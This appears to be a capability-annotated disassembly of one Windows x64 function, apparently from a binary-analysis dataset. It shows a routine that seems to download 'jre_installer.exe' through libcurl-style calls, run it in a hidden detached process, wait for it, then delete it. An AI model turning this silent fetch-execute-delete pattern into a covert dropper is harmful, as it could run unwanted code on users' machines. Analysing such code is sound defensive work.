Function at 0x1400012f0
Capabilities:
Create process on windows
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x550]
sub rsp, 0x650
mov rax, qword [0x14008c840]
xor rax, rsp
mov qword [rbp + 0x540], rax
mov r14, r8
mov rdi, rdx
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x78], r8
xor esi, esi
lea r8, str.jre_installer.exe
mov rdx, r14
lea rcx, [rbp - 0x80]
call fcn.140002960
nop
call fcn.1400058d0
mov rbx, rax
test rax, rax
je 0x140001429
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x30]
call fcn.14006bf48
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
lea rcx, [rbp + 0x30]
call fcn.140002760
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
mov r8, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400013b2
mov r8, qword [rdi]
mov edx, 0x2712
mov rcx, rbx
call fcn.140008870
lea r8, [0x1400012c0]
mov edx, 0x4e2b
mov rcx, rbx
call fcn.140008870
lea r8, [rbp + 0x30]
mov edx, 0x2711
mov rcx, rbx
call fcn.140008870
mov rcx, rbx
call fcn.140005940
mov rcx, rbx
call fcn.1400058a0
lea rcx, [rbp + 0x38]
call fcn.1400026a0
test rax, rax
jne 0x140001420
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x30]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x30]
call fcn.140001760
mov dword [rbp - 0x40], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
mov dword [rbp - 4], 1
mov word [rbp], si
mov r15, qword [rbp - 0x70]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 3
jb 0x14000174c
lea r13, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova r13, qword [rbp - 0x80]
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
lea r12, [r15 + 3]
mov ebx, reloc.WS2_32.dll_ntohs
lea rsi, [rbp - 0x60]
cmp r12, rbx
jbe 0x140001519
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400014dc
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14006afd0
test rax, rax
je 0x14000161b
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001515
mov eax, socket
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400014f5
xor esi, esi
jmp 0x140001515
cmp rcx, 0x1000
jb 0x14000150d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001752
jmp 0x1400014bd
call fcn.14006afd0
mov rsi, rax
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], rbx
mov r8, r15
mov rdx, r13
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [0x140081dac]
mov word [rsi + r15], ax
movzx eax, byte [reloc.WS2_32.dll_WSAStartup]
mov byte [rsi + r15 + 2], al
mov byte [rsi + r12], 0
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova r8, qword [rbp - 0x60]
mov edx, 0x400
lea rcx, [rbp + 0x140]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000008
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x140]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400015e9
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140001627
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001622
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001622
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006b00c
movdqa xmm0, xmmword [0x140082060]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], bl
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140001675
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001670
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001670
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006b00c
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400016bf
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1400016ba
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000173e
mov rcx, r8
call fcn.14006b00c
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x140001704
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x1400016ff
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001745
mov rcx, r8
call fcn.14006b00c
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r14], 0
mov rcx, qword [rbp + 0x540]
xor rcx, rsp
call fcn.14006afb0
mov rbx, qword [rsp + 0x690]
add rsp, 0x650
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400011e0
int3
call fcn.140001140
int3